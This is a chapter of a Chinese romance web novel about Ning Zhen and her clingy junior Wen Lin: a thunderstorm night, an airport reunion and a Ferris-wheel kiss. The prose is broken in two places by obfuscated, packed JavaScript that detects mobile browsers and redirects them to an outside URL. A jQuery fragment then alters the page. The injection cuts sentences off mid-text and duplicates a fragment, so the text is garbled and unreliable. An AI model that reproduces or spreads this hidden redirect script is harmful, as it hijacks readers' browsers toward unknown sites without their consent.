“师姐。” “嗯。” 温霖声音低哑,埋进她颈侧。 “你不能有三个。” 风抱了过来,双手交叠在她腰间紧紧环绕。宁蓁又感觉心里某个地方酸胀地疼。 “可是我梦见的不是我……” 正解释着,滚烫的眼睛贴上她颈间肌肤。 湿润的,一片冰凉。 他哭了……? 就因为一场没由来的绮梦? 脆弱的双眼彻底湿着,鼻尖向下蹭了蹭。呼吸扑在颈窝,温度灼人。他流泪的时候终于热了,一直烧到她身上。 宁蓁抬手轻抚他的背,她好像不是第一次看他掉眼泪了。 “你都不和我牵手,也不抱我……” 声音快要闷进她胸口,他自言自语般低喃,双唇无意识摩挲着她锁骨下的皮肤。 好痒。 她不禁皱眉,决定稍微拉开点距离。 温霖用尽力气抱她,却像虚张声势的锁,轻轻一拨就扣不住了。 但只有手,他不愿意放开。 轰隆—— 雷雨夜的惊吓突如其来。 窗帘掀开一条缝,惨白的裂痕贯穿雨夜。她借着闪电的光看清师弟的脸,眼眶红了,压抑着却止不住,眼泪涟涟往下滑,最后没入黑暗。 轰隆—— 雷声接连乍响,他无暇擦掉泪水,绕在她手臂的腰紧了几分。 “你怕打雷。”宁蓁仰起头问。 温霖哽咽一瞬:“我怕你消失。” 是真心话,还是掩盖害怕雷声的借口?她拍拍他后背,但他的眼泪怎么掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那又为什么取消关注……” “同样的理由应该不用说第二次。” 她搬来一个小谎。 不是过分悸动影响她控制角色挥剑,而是她总想起他们那天的吻。 黑暗中看不见什么,可心跳的拍数出卖了他。稳健,强劲,愈演愈烈,每分钟一百五十下,不亚于深吻纠缠。 雨夜幽深,适应雷声后反而倦意上涌。该睡了,她困到脚步虚浮,走到门口却被他牵着不放。 这回轻易拨不开了。 “今晚一起睡好不好。” 紧握的手轻晃两下示意邀请,等待她开口答应。房间门开着,一盏阅读灯架在床边柜,晕开暖黄的光,隐约照亮床上平整的双人被和两只并排的枕头。 宁蓁叹了口气。 他脸颊有哭过的痕迹,让人无法拒绝。 好吧。 真搞不懂他。但是,好吧。 68. 胸链 师弟怨她不牵手也不抱他,后果就是她直接睡进了他的床。 他从背后拥来,脸埋在她后颈,手臂施以恰到好处的压力。宁蓁呼吸均匀,模模糊糊地想,为什么没早点靠着他睡觉。 雷声渐隐,梦也消失了。 第二天早上睁眼时,那阵舒适感还留在身上,像裹了层深灰色的重力毯。 “早安。” 温霖端着早餐进来。不知道他几点起的床,头发梳顺了,浑身带着清爽气息。 看来风重新找到了方向。 “早……”她往被子里缩,又只露出一双眼睛。 他把早餐盘放在床头柜上,低身趴在床沿。 “师姐,你昨天梦见的是不是狐狸?” 有三个date对象的女孩,的确像狐狸。他也在寺里听说了?也许仙女和小唯提起过。 不过…… “你怎么还在想这事。”她眉尖稍稍一抬。 “所以到底是不是?” 温霖眼里晃着笑意。他已经找到答案了,还要听她亲口承认。 她结结实实说出一个“是”字。好了,他开心了。 “起床吃早饭吗?还有,师姐的手机借我用一下。” 煎蛋和烤面包一直在床边散发诱惑的香气。 宁蓁捞出枕头下的手机解锁递给他,准备下床。 “怎么了。” 温霖接过一通操作:“恢复原状。” 说完,调转屏幕给她看,短视频app里,鸰一的个人简介上方显示“已关注”。 他真的很在意这些细枝末节。宁蓁捧住手机,又考虑起别的事。 “说起来,《名侦探柯南》里的犯人每次都是三选一。” 她对此深思熟虑。 一般人也许接收不到她跳跃的脑电波,但他是和师姐灵魂契合的天蝎座。 “呃……”他撇开视线小声嘟囔,“那么喜欢三选一啊……” 宁蓁低头看见他不甘心的表情,反应过来。 “这个真的和梦见的没关系啦。” 她的师弟是个心机颇深又极度缺乏安全感的人。十七岁的时候她不曾预料,那名被生长痛困扰的别扭少年未来会躺在她枕边。如今再回想,鹭山重逢的一声声“姐姐”多少有点嗔怪的意思,怪她忘了他,怪她明明是自己要求的却不记得。 然而,合理合法该叫她姐姐的人回来了。 周日他们一起去了机场。王深说路上堵车,要迟几分钟。宁蓁心里拧着一丝紧张,不知道能不能从人群中认出小宇。 她是替姥姥来的。 毕竟他们是姥姥生命中最后两个疼过的孩子,她一定也想看看小宇好好长大的模样。 前方一对情侣深情相拥,挤开了脚下的行李箱。耳边嘈杂的呐喊反复盘旋—— “去值机吧。” “快和爸爸妈妈说再见!” “我不想你走……” “再见!” 大厅人山人海,堆起无数相逢和离别。 宁蓁悄悄挽上他的手。 “你还好吧。”她担心他的恐慌症再次发作。 “没事。” 温霖掌心冰冷,勉强还给她一个笑容。 有师姐在就没事了。 归根结底,这奇异的恐慌症本来就因她而起。 正想说些什么,一道兴致高昂的声线横插到他们之间。 “——姐,我好想你!” 陌生男孩张开双臂飞奔而至。他穿着鲜艳大胆,一身时髦的荧光色,头发染了几根金的。 “小宇?” 宁蓁略显惊讶,被表弟的拥抱撞得小退两步。 温霖没阻拦他们,顺势让出空间,背靠大厅的圆柱暗暗观察。 顾澄宇,她弟,世界上唯一一个从出生到死亡一辈子都喊她姐姐的男性。 他扬起头,恹恹地生出几分嫉妒。上个月回二中,温霖谎称宁蓁是姐姐。其实他是冒牌货,那个小宇才是真的。可如果换成他多好。换成他陪在师姐身边,他一定能早早地察觉到她的创伤。 算了,三代以内旁系血亲不能结婚。 真遗憾。 “姐姐都不通过我的好友申请,我还以为你把我忘了。” “诶可是我根本没收到……” 阔别已久的家人热络叙旧中。 顾澄宇小她六岁。温霖抱着双臂默默想,六岁也太小了,他成年时他才小学六年级。但巧的是那人名字里也有三点水。 幸好只有两个人,没构成三选一。 机场人流相互挤压,他花点力气才能克制内心的恐惧,再抬头一瞥,他们身边又多出个饱受工作折磨的颓丧风男人。 “深哥!”顾澄宇大喊大叫。 北城二中的现任年级主任,王深。 温霖低下头,指尖不满地掐进衣袖的褶皱。 啧,现在是三选一了。 那边,宁蓁突然被家人和家人的家人包围,有种回到童年的错觉。 小宇长成大人了。 她笑着,心里对姥姥说,您放心吧。 “我们待会儿有饭局,”王深问,“你去么。” “我……” 顾澄宇一脸期待地缠着她:“去啦姐,虽然都是我爸那支的亲戚,但是饭绝对好吃。” 前任姨夫财力雄厚,她倒不怀疑接风宴的档次。但她不想坦白和姨妈吵架了,目前还在冷战。 宁蓁摇头:“我就不用了,我今天和……” 视线移到不远处的一抹深黑色上。 他的位置能听见他们讲话。 想说的只比“朋友”多一个字,却难以启齿。 她蹙眉,捋顺胸中一口气: “和男朋友一起来的。” 说出来了。 王深有点诧异。小宇则突然爆炸,摇着她胳膊问对方叫什么哪里毕业的,谁敢抢走我漂亮的蓁蓁姐。 “在哪呢在哪呢姐姐快叫他出来。” 宁蓁来不及回答,只庆幸自己成功宣之于口,抬眼看向温霖。他藏进人群,碎发遮住眼,唇边抿着不动声色的笑。 又开心了啊,他。 * 有时候师弟很好懂。 最近他得到的太多,难免得意忘形,要挑战重游游乐场,测试对人潮的抵抗力。 宁蓁问:“你有没有好好吃药?” 他答:“没有。” 她:“为什么?” 按时吃药不发病了怎么让你心疼呢。温霖按下真实想法,笑着糊弄过去:“是药三分毒,我已经好多了。” 宁蓁无奈,反正他自己能掂量好病况。 九点十分了,她坐在餐桌前看一眼手机里的电子票,等他换衣服。平时他都动作利落,今天却变得慢吞吞。 客厅角落的小窝空着,沐沐被送到哥哥家待几天。不知道哥哥是怎样的人,听说也从北城二中毕业,没准她还和他打过照面。 “师姐,我好啦。” 她起身。温霖一身冷酷的黑色,搭出颜色的层次,看上去和往常无异。 唯一不同的是眼睛亮晶晶的,隐隐闪烁着期待。 看来他真的很想去游乐园。 路上车流拥挤,宁蓁坐在副驾驶,晃着晃着闭了眼。音响流出钢琴声,熟悉的前奏。《Firstlove》,上次听这首歌也在他的车里。她拿起沐沐叼出来的破窗器,后来他用那东西打碎了莫昭的车窗…… ——“十几岁还在经历生长痛啊,辛苦了。” ——“幸好我还会痛。” ——“你竟然喜欢痛。” ——“谁喜欢啊,因为我想长高。” 对了,他少年时不恋痛的…… 车子顿了一下,换挡。她睁眼,已经到了停车场。 温霖特意在工作日请了假。时已入夏,没有学校再组织春游。乐园游客寥寥无几,稀稀疏疏晾在鎏金的阳光下。 通票可以玩任何项目,宁蓁拿着地图认真思索。 砰。他打开遮阳伞,一片凉爽的阴影投下。 “师姐要不要吃冰淇淋?” 两个人共用一把伞,手臂只能紧紧贴着。她向他那边凑了凑,继续看地图。 “你好像特别关心我的食欲。” 聊天记录里最多的恐怕是他在问“有没有好好吃饭”,今天早上她也被按在餐桌前吃完一整个水煮蛋。 温霖想说因为她长了一张不食人间烟火的脸,话到嘴边却变卦。 “其实别的欲也……” “嗯?” 宁蓁倏然抬头。 “没什么。”他眼神飘忽。 “嗯——?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498344|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她凑得更近,顺势搭上温霖举伞的手腕,狐疑地拉长音调。 “去买冰淇淋吧!” 他略慌张地向前走,宁蓁跟着右手无意间拂过他胸侧。 手感不太平整,好像窸窸窣窣的。 是错觉吧。 牛乳冰淇淋醇厚甜腻,两人平分一个正好。她把甜筒送到他唇边,问想先玩哪个。 “摩天轮。”温霖轻咬一口。 那不是临走时用作收尾的项目吗。 但宁蓁没反驳,既然他选择,肯定有他的理由。 比如,尝试战胜俯瞰人群而发作的恐慌症状。 她只能想到这一层。吃掉甜筒扔了包装纸,被他牵着走进吊舱。 密闭空间,一多半透明。他们缓缓上升,软绵绵的云絮挂在天边,仿佛伸手就能采撷。天空透亮湛蓝,蓝到内心莫名悸动。奇怪,她应该不恐高的。 也许她想起之前的场景。两个人坐在这里,把话说开。 他写过十数封信,最后一封埋进联络方式。他的单反里存着她的照片。他喜欢她,很喜欢很喜欢,从年少时期甚至更早的时候…… “师姐。” 回过神,温霖单膝跪在她面前仰着头。 他总爱用类似的姿势接近,把她抬到高位,像坐在床边的小狗等她摸摸。 宁蓁缓慢眨眼。 “我今天……”话到一半,他没说下去。 耳朵泛着薄薄的粉,潋滟的阳光在眼神里揉碎。 她明白温霖在邀请她。 他无声询问,讨个吻吧,可以吗。 太阳过于耀眼,闭上眼睛才舒服些,于是她低头阖上眼帘。 小心翼翼的接触,像是初吻,像含化甜蜜的冰淇淋。黑暗中,宁蓁被握住了手腕往他胸前按,隔着衣料碰到冰凉的皮肤。 他的体温只有流泪和发病时上升。可通常来说,恐慌时身体变冷才对。难道被他抱进怀里时,每次发热的都是我。 一如现在,宁蓁掌心滚烫,摸到他衣服底下细碎的小东西。 那是……? 她被吻着,手上却不停歇。 项链似的一串坠饰垂在他前胸,随着她的探寻碾过肌肤。他保持着舞蹈生恰到好处的肌肉线条,小巧珍珠磨着蹭着跌入分明的沟壑。 不是项链,她想。 比项链多出几条,一直伸向肩膀。 师姐的指尖缓慢摩挲,要描摹他身上每一寸细节。温霖握不住她,松了手,肌肤上捻碎了一个个小气泡,拨起阵阵酥麻。衣料紧紧吸附,勾勒出坠饰的形状。他身体渐渐卸力,差点维持不了那个轻绵的吻。 身前簌簌的响,勾出急切的呼吸。 摩天轮升至最高点。 “你今天戴了胸链。” 双唇分离,宁蓁替他把话说完。 她的手还停在他胸口。又来了,腹部深处酸楚的小河自下而上,流遍全身。 但描述他的时候,她不费吹灰之力——不像“男朋友”三个字那么困难。 “……因为你连我亲你的时候都不专心。” 吊舱中气温灼人。温霖目光颤动,眼神里带了点委屈。 原来是这样。 宁蓁后知后觉,所以那天,他们第一次吻进床里,他突然赌气,执着地去攥她的手腕。 那时她的心很软,折成任意形状都可以,哪怕温霖束缚住她双手,大概她也不抗拒。 ——她知道他不会过火。 从十年前,那个少年微微低头别开视线,不敢直视她的样子,她就知道。 “用这种方法让我集中精神啊。”她自言自语。 “可是,师姐刚才又想别的事了吧。” “唔,想到书店里,你问我喜不喜欢推理小说……” 宁蓁微微走神,手指轻轻搭在胸链的一颗凸起上,想的却是另一个时空中的他。 温霖怔了一秒,连忙垂首转移晃漾的目光,耳根红透。 连害羞的方式都和十年前一样。 她弯了眼睛,摸摸他的头发。 太阳收敛了些,摩天轮即将接近地面。他的脸埋进她膝盖暂时躲避。这几天他费尽心机想吸引师姐注意,结果还是败下阵来。 如果这是一场游戏,谁的心跳更快谁就输了的话。 她永远技高一筹。